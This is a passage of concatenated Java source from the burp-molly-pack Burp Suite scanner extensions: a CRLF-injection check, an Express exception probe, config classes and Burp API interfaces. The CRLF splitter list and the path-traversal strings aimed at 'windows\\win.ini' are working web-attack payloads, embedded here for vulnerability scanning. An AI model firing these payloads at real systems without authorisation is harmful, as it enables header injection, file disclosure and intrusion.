this.helpers.urlEncode(finalPayload) + "</b><br/>" + "Found response: " + crlfMatcher.group(); return new CustomScanIssue(attack.getHttpService(), this.helpers.analyzeRequest(attack).getUrl(), new IHttpRequestResponse[]{this.callbacks.applyMarkers(attack, requestMarkers, responseMarkers)}, attackDetails, ISSUE_TYPE_CRLF, ISSUE_NAME_CRLF, SEVERITY_CRLF, CONFIDENCE_CRLF, "", ISSUE_BACKGROUND_CRLF, ""); } Matcher crMatcher = CRPattern.matcher(respAttackHeaders); if (crMatcher.find()) { String body = helpers.bytesToString(attack.getResponse()); List requestMarkers = new ArrayList(1); List responseMarkers = new ArrayList(1); requestMarkers.add(insertionPoint.getPayloadOffsets(this.helpers.stringToBytes(finalPayload))); responseMarkers.add(new int[]{body.indexOf(CRLFHeader), body.indexOf(CRLFHeader) + CRLFHeader.length()}); String attackDetails = "Vulnerability detected at <b>" + insertionPoint.getInsertionPointName() + "</b>, " + "payload was set to <b>" + this.helpers.urlEncode(finalPayload) + "</b><br/>" + "Found response: " + crMatcher.group(); return new CustomScanIssue(attack.getHttpService(), this.helpers.analyzeRequest(attack).getUrl(), new IHttpRequestResponse[]{this.callbacks.applyMarkers(attack, requestMarkers, responseMarkers)}, attackDetails, ISSUE_TYPE_CR, ISSUE_NAME_CR, SEVERITY_CR, CONFIDENCE_CR, "", ISSUE_BACKGROUND_CR, ""); } return null; } public IScanIssue scanRootDirectory(IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { IRequestInfo req = helpers.analyzeRequest(baseRequestResponse.getRequest()); IHttpService httpService = baseRequestResponse.getHttpService(); String uuid = UUID.randomUUID().toString().replaceAll("-", ""); String uuidPayload = req.getMethod() + " /" + uuid + " HTTP/1.1"; List<String> reqHeaders = req.getHeaders(); reqHeaders.set(0, uuidPayload); byte[] body = helpers.stringToBytes(helpers.bytesToString(baseRequestResponse.getRequest()).substring(req.getBodyOffset())); byte[] modifiedReq = helpers.buildHttpMessage(reqHeaders, body); IHttpRequestResponse checkUUID = this.callbacks.makeHttpRequest(httpService, modifiedReq); if (checkUUID == null || checkUUID.getResponse() == null) return null; String respHeaders = String.join("\n", this.helpers.analyzeResponse(checkUUID.getResponse()).getHeaders()); if (respHeaders.contains(uuid)) { for (String payload : CRLFSplitters) { String finalPayload = uuid.substring(0, 5) + payload + CRLFHeader + uuid.substring(6); String finalRequestUriBuilder = req.getMethod() + " /" + finalPayload + " HTTP/1.1"; reqHeaders.set(0, finalRequestUriBuilder); body = helpers.stringToBytes(helpers.bytesToString(baseRequestResponse.getRequest()).substring(req.getBodyOffset())); modifiedReq = helpers.buildHttpMessage(reqHeaders, body); IHttpRequestResponse attack = this.callbacks.makeHttpRequest(httpService, modifiedReq); IScanIssue res = analyzeResponse(attack, insertionPoint, finalPayload); if (res != null) return res; } } return null; } private void initCRLFSplitters() { byte[] CDRIVES = new byte[]{(byte) 0xE5, (byte) 0x98, (byte) 0x8A, (byte) 0xE5, (byte) 0x98, (byte) 0x8D,}; CRLFSplitters.add(helpers.bytesToString(CDRIVES)); CRLFSplitters.add("\r"); CRLFSplitters.add("\r "); CRLFSplitters.add("\r\t"); CRLFSplitters.add("\r\n"); CRLFSplitters.add("\r\n "); CRLFSplitters.add("\r\n\t"); CRLFSplitters.add("\r\n\t"); CRLFSplitters.add("%0d"); CRLFSplitters.add("%0a"); CRLFSplitters.add("%0d%0a"); CRLFSplitters.add("%0d%0a%09"); CRLFSplitters.add("%0d+"); CRLFSplitters.add("%0d%20"); CRLFSplitters.add("%0d%0a+"); CRLFSplitters.add("%E5%98%8A%E5%98%8D"); CRLFSplitters.add("%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D"); CRLFSplitters.add("%c4%8d%c4%8a"); // https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2216 } }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/com/yandex/burp/extensions/plugins/audit/YaExpressExceptionPlugin.java
src/main/java/com/yandex/burp/extensions/plugins/audit/YaExpressExceptionPlugin.java
package com.yandex.burp.extensions.plugins.audit; import burp.*; import com.yandex.burp.extensions.plugins.CustomScanIssue; import com.yandex.burp.extensions.plugins.config.BurpMollyPackConfig; import com.yandex.burp.extensions.plugins.Utils; import java.net.URL; import java.util.ArrayList; import java.util.HashSet; import java.util.List; /** * Created by a-abakumov on 06/02/2017. */ public class YaExpressExceptionPlugin implements IAuditPlugin { private static final ArrayList<String> Signatures = new ArrayList<>(); private static final ArrayList<String> UrlencodeCases = new ArrayList<>(); private static final ArrayList<String> CharsetCases = new ArrayList<>(); private IBurpExtenderCallbacks callbacks; private IExtensionHelpers helpers; private HashSet<String> flags; private final int ISSUE_TYPE = 0x080a0003; private final String ISSUE_NAME = "YaExpress Exception Issue"; private final String SEVERITY = "Low"; private final String CONFIDENCE = "Certain"; public YaExpressExceptionPlugin(IBurpExtenderCallbacks callbacks, BurpMollyPackConfig extConfig) { this.callbacks = callbacks; this.helpers = callbacks.getHelpers(); this.flags = new HashSet<>(); initCharsetCases(); initSignatures(); initUrlencodeCases(); } private void initSignatures() { Signatures.add("UnsupportedMediaTypeError:"); Signatures.add("TypeError:"); Signatures.add("Trace"); } private void initUrlencodeCases() { UrlencodeCases.add("..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c"); UrlencodeCases.add("..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9cwindows\\win.ini"); UrlencodeCases.add("%d"); } private void initCharsetCases() { CharsetCases.add("application/x-www-form-urlencoded; charset=give_me_exception"); CharsetCases.add("application/json; charset=give_me_exception"); } public List<IScanIssue> doScan(IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { IRequestInfo req = helpers.analyzeRequest(baseRequestResponse.getRequest()); if (req == null) return null; List<IScanIssue> issues = new ArrayList<>(); IHttpService httpService = baseRequestResponse.getHttpService(); URL url = helpers.analyzeRequest(baseRequestResponse).getUrl(); if (flags.contains(req.getMethod() + url.toString())) return null; else flags.add(req.getMethod() + url.toString()); List<String> headers = req.getHeaders(); for (String i : CharsetCases) { headers.removeIf(header -> header != null && header.toLowerCase().startsWith("content-type")); headers.add("Content-type: " + i); byte[] body; if (helpers.bytesToString(baseRequestResponse.getRequest()).length() > req.getBodyOffset()) { body = helpers.stringToBytes(helpers.bytesToString(baseRequestResponse.getRequest()).substring(req.getBodyOffset())); IHttpRequestResponse attack = this.callbacks.makeHttpRequest(httpService, helpers.buildHttpMessage(headers, body)); IScanIssue res = analyzeResponse(attack); if (res != null) issues.add(res); } else { IHttpRequestResponse attack = this.callbacks.makeHttpRequest(httpService, helpers.buildHttpMessage(headers, "".getBytes())); IScanIssue res = analyzeResponse(attack); if (res != null) issues.add(res); } } for (String i : UrlencodeCases) { String finalPayload = req.getMethod() + " " + url.getPath() + "\\" + i + " HTTP/1.1"; headers.set(0, finalPayload); byte[] body = helpers.stringToBytes(helpers.bytesToString(baseRequestResponse.getRequest()).substring(req.getBodyOffset())); byte[] modifiedReq = helpers.buildHttpMessage(headers, body); IHttpRequestResponse attack = this.callbacks.makeHttpRequest(httpService, modifiedReq); IScanIssue res = analyzeResponse(attack); if (res != null) issues.add(res); } if (issues.size() > 0) return issues; return null; } public IScanIssue analyzeResponse(IHttpRequestResponse requestResponse) { if (requestResponse.getResponse() == null) return null; IResponseInfo resp = helpers.analyzeResponse(requestResponse.getResponse()); String contentTypeHeader = Utils.getContentType(resp); if (contentTypeHeader.toUpperCase().contains("JAVASCRIPT")) return null; for (String i : Signatures) { if (helpers.bytesToString(requestResponse.getResponse()).contains(i)) { List responseMarkers = new ArrayList(1); responseMarkers.add(new int[]{helpers.bytesToString(requestResponse.getResponse()).indexOf(i), helpers.bytesToString(requestResponse.getResponse()).indexOf(i) + i.length()}); String attackDetails = "A exception with information disclosure was found at: <b>" + helpers.analyzeRequest(requestResponse).getUrl().toString() + "</b>\n"; return new CustomScanIssue(requestResponse.getHttpService(), this.helpers.analyzeRequest(requestResponse).getUrl(), new IHttpRequestResponse[]{this.callbacks.applyMarkers(requestResponse, null, responseMarkers)}, attackDetails, ISSUE_TYPE, ISSUE_NAME, SEVERITY, CONFIDENCE, "", "", ""); } } return null; } }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/com/yandex/burp/extensions/plugins/config/BurpActiveScannerConfig.java
src/main/java/com/yandex/burp/extensions/plugins/config/BurpActiveScannerConfig.java
package com.yandex.burp.extensions.plugins.config; /** * Created by a-abakumov on 08/02/2017. */ public class BurpActiveScannerConfig { }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/com/yandex/burp/extensions/plugins/config/ClickJackingPluginConfig.java
src/main/java/com/yandex/burp/extensions/plugins/config/ClickJackingPluginConfig.java
package com.yandex.burp.extensions.plugins.config; import com.google.gson.annotations.Expose; import com.google.gson.annotations.SerializedName; import java.util.List; /** * Created by a-abakumov on 13/02/2017. */ public class ClickJackingPluginConfig { @SerializedName("ignoreCodes") @Expose private List<Integer> ignoreCodes = null; public List<Integer> getIgnoreCodes() { return ignoreCodes; } }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/com/yandex/burp/extensions/plugins/config/MollyConfig.java
src/main/java/com/yandex/burp/extensions/plugins/config/MollyConfig.java
package com.yandex.burp.extensions.plugins.config; import com.google.gson.annotations.Expose; import com.google.gson.annotations.SerializedName; public class MollyConfig { @SerializedName("burp-molly-pack") @Expose private BurpMollyPackConfig BurpMollyPackConfig; @SerializedName("burp-active-scanner") @Expose private BurpActiveScannerConfig BurpActiveScannerConfig; public BurpMollyPackConfig getBurpMollyPackConfig() { return BurpMollyPackConfig; } public BurpActiveScannerConfig getBurpActiveScanner() { return BurpActiveScannerConfig; } }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/com/yandex/burp/extensions/plugins/config/JsonpPluginConfig.java
src/main/java/com/yandex/burp/extensions/plugins/config/JsonpPluginConfig.java
package com.yandex.burp.extensions.plugins.config; import com.google.gson.annotations.Expose; import com.google.gson.annotations.SerializedName; import java.util.Arrays; import java.util.List; public class JsonpPluginConfig { @SerializedName("callbacks") @Expose private List<String> callbacks = Arrays.asList("callback", "cb", "jsonp"); public List<String> getCallbacks() { return callbacks; } }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/com/yandex/burp/extensions/plugins/config/BurpMollyPackConfig.java
src/main/java/com/yandex/burp/extensions/plugins/config/BurpMollyPackConfig.java
package com.yandex.burp.extensions.plugins.config; /** * Created by a-abakumov on 08/02/2017. */ import com.google.gson.annotations.Expose; import com.google.gson.annotations.SerializedName; import java.util.List; public class BurpMollyPackConfig { @SerializedName("activePluginsEnable") @Expose private List<String> activePluginsEnable; public List<String> getActivePluginsEnable() { return activePluginsEnable; } @SerializedName("passivePluginsEnable") @Expose private List<String> passivePluginsEnable; public List<String> getPassivePluginsEnable() { return passivePluginsEnable; } @SerializedName("ClickJackingPlugin") @Expose private ClickJackingPluginConfig ClickJackingPluginConfig; public ClickJackingPluginConfig getClickJackingPluginConfig() { return ClickJackingPluginConfig; } @SerializedName("ContentSniffingPlugin") @Expose private ContentSniffingPluginConfig ContentSniffingPluginConfig; public ContentSniffingPluginConfig getContentSniffingPluginConfig() { return ContentSniffingPluginConfig; } @SerializedName("JsonpPluginPlugin") @Expose private JsonpPluginConfig JsonpPluginConfig = new JsonpPluginConfig(); public JsonpPluginConfig getJsonpPluginConfig() { return JsonpPluginConfig; } }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/com/yandex/burp/extensions/plugins/config/ContentSniffingPluginConfig.java
src/main/java/com/yandex/burp/extensions/plugins/config/ContentSniffingPluginConfig.java
package com.yandex.burp.extensions.plugins.config; import com.google.gson.annotations.Expose; import com.google.gson.annotations.SerializedName; import java.util.List; /** * Created by a-abakumov on 14/02/2017. */ public class ContentSniffingPluginConfig { @SerializedName("ignoreCodes") @Expose private List<Integer> ignoreCodes = null; public List<Integer> getIgnoreCodes() { return ignoreCodes; } }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IHttpRequestResponsePersisted.java
src/main/java/burp/IHttpRequestResponsePersisted.java
package burp; /* * @(#)IHttpRequestResponsePersisted.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ /** * This interface is used for an * <code>IHttpRequestResponse</code> object whose request and response messages * have been saved to temporary files using * <code>IBurpExtenderCallbacks.saveBuffersToTempFiles()</code>. */ public interface IHttpRequestResponsePersisted extends IHttpRequestResponse { /** * This method is deprecated and no longer performs any action. */ @Deprecated void deleteTempFiles(); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IIntruderPayloadGeneratorFactory.java
src/main/java/burp/IIntruderPayloadGeneratorFactory.java
package burp; /* * @(#)IIntruderPayloadGeneratorFactory.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ /** * Extensions can implement this interface and then call * <code>IBurpExtenderCallbacks.registerIntruderPayloadGeneratorFactory()</code> * to register a factory for custom Intruder payloads. */ public interface IIntruderPayloadGeneratorFactory { /** * This method is used by Burp to obtain the name of the payload generator. * This will be displayed as an option within the Intruder UI when the user * selects to use extension-generated payloads. * * @return The name of the payload generator. */ String getGeneratorName(); /** * This method is used by Burp when the user starts an Intruder attack that * uses this payload generator. * * @param attack An * <code>IIntruderAttack</code> object that can be queried to obtain details * about the attack in which the payload generator will be used. * @return A new instance of * <code>IIntruderPayloadGenerator</code> that will be used to generate * payloads for the attack. */ IIntruderPayloadGenerator createNewInstance(IIntruderAttack attack); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IScannerInsertionPoint.java
src/main/java/burp/IScannerInsertionPoint.java
package burp; /* * @(#)IScannerInsertionPoint.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ /** * This interface is used to define an insertion point for use by active Scanner * checks. Extensions can obtain instances of this interface by registering an * <code>IScannerCheck</code>, or can create instances for use by Burp's own * scan checks by registering an * <code>IScannerInsertionPointProvider</code>. */ public interface IScannerInsertionPoint { /** * Used to indicate where the payload is inserted into the value of a URL * parameter. */ static final byte INS_PARAM_URL = 0x00; /** * Used to indicate where the payload is inserted into the value of a body * parameter. */ static final byte INS_PARAM_BODY = 0x01; /** * Used to indicate where the payload is inserted into the value of an HTTP * cookie. */ static final byte INS_PARAM_COOKIE = 0x02; /** * Used to indicate where the payload is inserted into the value of an item * of data within an XML data structure. */ static final byte INS_PARAM_XML = 0x03; /** * Used to indicate where the payload is inserted into the value of a tag * attribute within an XML structure. */ static final byte INS_PARAM_XML_ATTR = 0x04; /** * Used to indicate where the payload is inserted into the value of a * parameter attribute within a multi-part message body (such as the name of * an uploaded file). */ static final byte INS_PARAM_MULTIPART_ATTR = 0x05; /** * Used to indicate where the payload is inserted into the value of an item * of data within a JSON structure. */ static final byte INS_PARAM_JSON = 0x06; /** * Used to indicate where the payload is inserted into the value of an AMF * parameter. */ static final byte INS_PARAM_AMF = 0x07; /** * Used to indicate where the payload is inserted into the value of an HTTP * request header. */ static final byte INS_HEADER = 0x20; /** * Used to indicate where the payload is inserted into a URL path folder. */ static final byte INS_URL_PATH_FOLDER = 0x21; /** * Used to indicate where the payload is inserted into a URL path folder. * This is now deprecated; use <code>INS_URL_PATH_FOLDER</code> instead. */ @Deprecated static final byte INS_URL_PATH_REST = INS_URL_PATH_FOLDER; /** * Used to indicate where the payload is inserted into the name of an added * URL parameter. */ static final byte INS_PARAM_NAME_URL = 0x22; /** * Used to indicate where the payload is inserted into the name of an added * body parameter. */ static final byte INS_PARAM_NAME_BODY = 0x23; /** * Used to indicate where the payload is inserted into the body of the HTTP * request. */ static final byte INS_ENTIRE_BODY = 0x24; /** * Used to indicate where the payload is inserted into the URL path * filename. */ static final byte INS_URL_PATH_FILENAME = 0x25; /** * Used to indicate where the payload is inserted at a location manually * configured by the user. */ static final byte INS_USER_PROVIDED = 0x40; /** * Used to indicate where the insertion point is provided by an * extension-registered * <code>IScannerInsertionPointProvider</code>. */ static final byte INS_EXTENSION_PROVIDED = 0x41; /** * Used to indicate where the payload is inserted at an unknown location * within the request. */ static final byte INS_UNKNOWN = 0x7f; /** * This method returns the name of the insertion point. * * @return The name of the insertion point (for example, a description of a * particular request parameter). */ String getInsertionPointName(); /** * This method returns the base value for this insertion point. * * @return the base value that appears in this insertion point in the base * request being scanned, or <code>null</code> if there is no value in the * base request that corresponds to this insertion point. */ String getBaseValue(); /** * This method is used to build a request with the specified payload placed * into the insertion point. There is no requirement for extension-provided * insertion points to adjust the Content-Length header in requests if the * body length has changed, although Burp-provided insertion points will * always do this and will return a request with a valid Content-Length * header. * <b>Note:</b> * Scan checks should submit raw non-encoded payloads to insertion points, * and the insertion point has responsibility for performing any data * encoding that is necessary given the nature and location of the insertion * point. * * @param payload The payload that should be placed into the insertion * point. * @return The resulting request. */ byte[] buildRequest(byte[] payload); /** * This method is used to determine the offsets of the payload value within * the request, when it is placed into the insertion point. Scan checks may * invoke this method when reporting issues, so as to highlight the relevant * part of the request within the UI. * * @param payload The payload that should be placed into the insertion * point. * @return An int[2] array containing the start and end offsets of the * payload within the request, or null if this is not applicable (for * example, where the insertion point places a payload into a serialized * data structure, the raw payload may not literally appear anywhere within * the resulting request). */ int[] getPayloadOffsets(byte[] payload); /** * This method returns the type of the insertion point. * * @return The type of the insertion point. Available types are defined in * this interface. */ byte getInsertionPointType(); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IHttpListener.java
src/main/java/burp/IHttpListener.java
package burp; /* * @(#)IHttpListener.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ /** * Extensions can implement this interface and then call * <code>IBurpExtenderCallbacks.registerHttpListener()</code> to register an * HTTP listener. The listener will be notified of requests and responses made * by any Burp tool. Extensions can perform custom analysis or modification of * these messages by registering an HTTP listener. */ public interface IHttpListener { /** * This method is invoked when an HTTP request is about to be issued, and * when an HTTP response has been received. * * @param toolFlag A flag indicating the Burp tool that issued the request. * Burp tool flags are defined in the * <code>IBurpExtenderCallbacks</code> interface. * @param messageIsRequest Flags whether the method is being invoked for a * request or response. * @param messageInfo Details of the request / response to be processed. * Extensions can call the setter methods on this object to update the * current message and so modify Burp's behavior. */ void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IIntruderPayloadProcessor.java
src/main/java/burp/IIntruderPayloadProcessor.java
package burp; /* * @(#)IIntruderPayloadProcessor.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ /** * Extensions can implement this interface and then call * <code>IBurpExtenderCallbacks.registerIntruderPayloadProcessor()</code> to * register a custom Intruder payload processor. */ public interface IIntruderPayloadProcessor { /** * This method is used by Burp to obtain the name of the payload processor. * This will be displayed as an option within the Intruder UI when the user * selects to use an extension-provided payload processor. * * @return The name of the payload processor. */ String getProcessorName(); /** * This method is invoked by Burp each time the processor should be applied * to an Intruder payload. * * @param currentPayload The value of the payload to be processed. * @param originalPayload The value of the original payload prior to * processing by any already-applied processing rules. * @param baseValue The base value of the payload position, which will be * replaced with the current payload. * @return The value of the processed payload. This may be * <code>null</code> to indicate that the current payload should be skipped, * and the attack will move directly to the next payload. */ byte[] processPayload( byte[] currentPayload, byte[] originalPayload, byte[] baseValue); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IBurpExtenderCallbacks.java
src/main/java/burp/IBurpExtenderCallbacks.java
package burp; /* * @(#)IBurpExtenderCallbacks.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ import java.awt.Component; import java.io.OutputStream; import java.util.List; import java.util.Map; /** * This interface is used by Burp Suite to pass to extensions a set of callback * methods that can be used by extensions to perform various actions within * Burp. * * When an extension is loaded, Burp invokes its * <code>registerExtenderCallbacks()</code> method and passes an instance of the * <code>IBurpExtenderCallbacks</code> interface. The extension may then invoke * the methods of this interface as required in order to extend Burp's * functionality. */ public interface IBurpExtenderCallbacks { /** * Flag used to identify Burp Suite as a whole. */ static final int TOOL_SUITE = 0x00000001; /** * Flag used to identify the Burp Target tool. */ static final int TOOL_TARGET = 0x00000002; /** * Flag used to identify the Burp Proxy tool. */ static final int TOOL_PROXY = 0x00000004; /** * Flag used to identify the Burp Spider tool. */ static final int TOOL_SPIDER = 0x00000008; /** * Flag used to identify the Burp Scanner tool. */ static final int TOOL_SCANNER = 0x00000010; /** * Flag used to identify the Burp Intruder tool. */ static final int TOOL_INTRUDER = 0x00000020; /** * Flag used to identify the Burp Repeater tool. */ static final int TOOL_REPEATER = 0x00000040; /** * Flag used to identify the Burp Sequencer tool. */ static final int TOOL_SEQUENCER = 0x00000080; /** * Flag used to identify the Burp Decoder tool. */ static final int TOOL_DECODER = 0x00000100; /** * Flag used to identify the Burp Comparer tool. */ static final int TOOL_COMPARER = 0x00000200; /** * Flag used to identify the Burp Extender tool. */ static final int TOOL_EXTENDER = 0x00000400; /** * This method is used to set the display name for the current extension, * which will be displayed within the user interface for the Extender tool. * * @param name The extension name. */ void setExtensionName(String name); /** * This method is used to obtain an <code>IExtensionHelpers</code> object, * which can be used by the extension to perform numerous useful tasks. * * @return An object containing numerous helper methods, for tasks such as * building and analyzing HTTP requests. */ IExtensionHelpers getHelpers(); /** * This method is used to obtain the current extension's standard output * stream. Extensions should write all output to this stream, allowing the * Burp user to configure how that output is handled from within the UI. * * @return The extension's standard output stream. */ OutputStream getStdout(); /** * This method is used to obtain the current extension's standard error * stream. Extensions should write all error messages to this stream, * allowing the Burp user to configure how that output is handled from * within the UI. * * @return The extension's standard error stream. */ OutputStream getStderr(); /** * This method prints a line of output to the current extension's standard * output stream. * * @param output The message to print. */ void printOutput(String output); /** * This method prints a line of output to the current extension's standard * error stream. * * @param error The message to print. */ void printError(String error); /** * This method is used to register a listener which will be notified of * changes to the extension's state. <b>Note:</b> Any extensions that start * background threads or open system resources (such as files or database * connections) should register a listener and terminate threads / close * resources when the extension is unloaded. * * @param listener An object created by the extension that implements the * <code>IExtensionStateListener</code> interface. */ void registerExtensionStateListener(IExtensionStateListener listener); /** * This method is used to retrieve the extension state listeners that are * registered by the extension. * * @return A list of extension state listeners that are currently registered * by this extension. */ List<IExtensionStateListener> getExtensionStateListeners(); /** * This method is used to remove an extension state listener that has been * registered by the extension. * * @param listener The extension state listener to be removed. */ void removeExtensionStateListener(IExtensionStateListener listener); /** * This method is used to register a listener which will be notified of * requests and responses made by any Burp tool. Extensions can perform * custom analysis or modification of these messages by registering an HTTP * listener. * * @param listener An object created by the extension that implements the * <code>IHttpListener</code> interface. */ void registerHttpListener(IHttpListener listener); /** * This method is used to retrieve the HTTP listeners that are registered by * the extension. * * @return A list of HTTP listeners that are currently registered by this * extension. */ List<IHttpListener> getHttpListeners(); /** * This method is used to remove an HTTP listener that has been registered * by the extension. * * @param listener The HTTP listener to be removed. */ void removeHttpListener(IHttpListener listener); /** * This method is used to register a listener which will be notified of * requests and responses being processed by the Proxy tool. Extensions can * perform custom analysis or modification of these messages, and control * in-UI message interception, by registering a proxy listener. * * @param listener An object created by the extension that implements the * <code>IProxyListener</code> interface. */ void registerProxyListener(IProxyListener listener); /** * This method is used to retrieve the Proxy listeners that are registered * by the extension. * * @return A list of Proxy listeners that are currently registered by this * extension. */ List<IProxyListener> getProxyListeners(); /** * This method is used to remove a Proxy listener that has been registered * by the extension. * * @param listener The Proxy listener to be removed. */ void removeProxyListener(IProxyListener listener); /** * This method is used to register a listener which will be notified of new * issues that are reported by the Scanner tool. Extensions can perform * custom analysis or logging of Scanner issues by registering a Scanner * listener. * * @param listener An object created by the extension that implements the * <code>IScannerListener</code> interface. */ void registerScannerListener(IScannerListener listener); /** * This method is used to retrieve the Scanner listeners that are registered * by the extension. * * @return A list of Scanner listeners that are currently registered by this * extension. */ List<IScannerListener> getScannerListeners(); /** * This method is used to remove a Scanner listener that has been registered * by the extension. * * @param listener The Scanner listener to be removed. */ void removeScannerListener(IScannerListener listener); /** * This method is used to register a listener which will be notified of * changes to Burp's suite-wide target scope. * * @param listener An object created by the extension that implements the * <code>IScopeChangeListener</code> interface. */ void registerScopeChangeListener(IScopeChangeListener listener); /** * This method is used to retrieve the scope change listeners that are * registered by the extension. * * @return A list of scope change listeners that are currently registered by * this extension. */ List<IScopeChangeListener> getScopeChangeListeners(); /** * This method is used to remove a scope change listener that has been * registered by the extension. * * @param listener The scope change listener to be removed. */ void removeScopeChangeListener(IScopeChangeListener listener); /** * This method is used to register a factory for custom context menu items. * When the user invokes a context menu anywhere within Burp, the factory * will be passed details of the invocation event, and asked to provide any * custom context menu items that should be shown. * * @param factory An object created by the extension that implements the * <code>IContextMenuFactory</code> interface. */ void registerContextMenuFactory(IContextMenuFactory factory); /** * This method is used to retrieve the context menu factories that are * registered by the extension. * * @return A list of context menu factories that are currently registered by * this extension. */ List<IContextMenuFactory> getContextMenuFactories(); /** * This method is used to remove a context menu factory that has been * registered by the extension. * * @param factory The context menu factory to be removed. */ void removeContextMenuFactory(IContextMenuFactory factory); /** * This method is used to register a factory for custom message editor tabs. * For each message editor that already exists, or is subsequently created, * within Burp, the factory will be asked to provide a new instance of an * <code>IMessageEditorTab</code> object, which can provide custom rendering * or editing of HTTP messages. * * @param factory An object created by the extension that implements the * <code>IMessageEditorTabFactory</code> interface. */ void registerMessageEditorTabFactory(IMessageEditorTabFactory factory); /** * This method is used to retrieve the message editor tab factories that are * registered by the extension. * * @return A list of message editor tab factories that are currently * registered by this extension. */ List<IMessageEditorTabFactory> getMessageEditorTabFactories(); /** * This method is used to remove a message editor tab factory that has been * registered by the extension. * * @param factory The message editor tab factory to be removed. */ void removeMessageEditorTabFactory(IMessageEditorTabFactory factory); /** * This method is used to register a provider of Scanner insertion points. * For each base request that is actively scanned, Burp will ask the * provider to provide any custom scanner insertion points that are * appropriate for the request. * * @param provider An object created by the extension that implements the * <code>IScannerInsertionPointProvider</code> interface. */ void registerScannerInsertionPointProvider( IScannerInsertionPointProvider provider); /** * This method is used to retrieve the Scanner insertion point providers * that are registered by the extension. * * @return A list of Scanner insertion point providers that are currently * registered by this extension. */ List<IScannerInsertionPointProvider> getScannerInsertionPointProviders(); /** * This method is used to remove a Scanner insertion point provider that has * been registered by the extension. * * @param provider The Scanner insertion point provider to be removed. */ void removeScannerInsertionPointProvider( 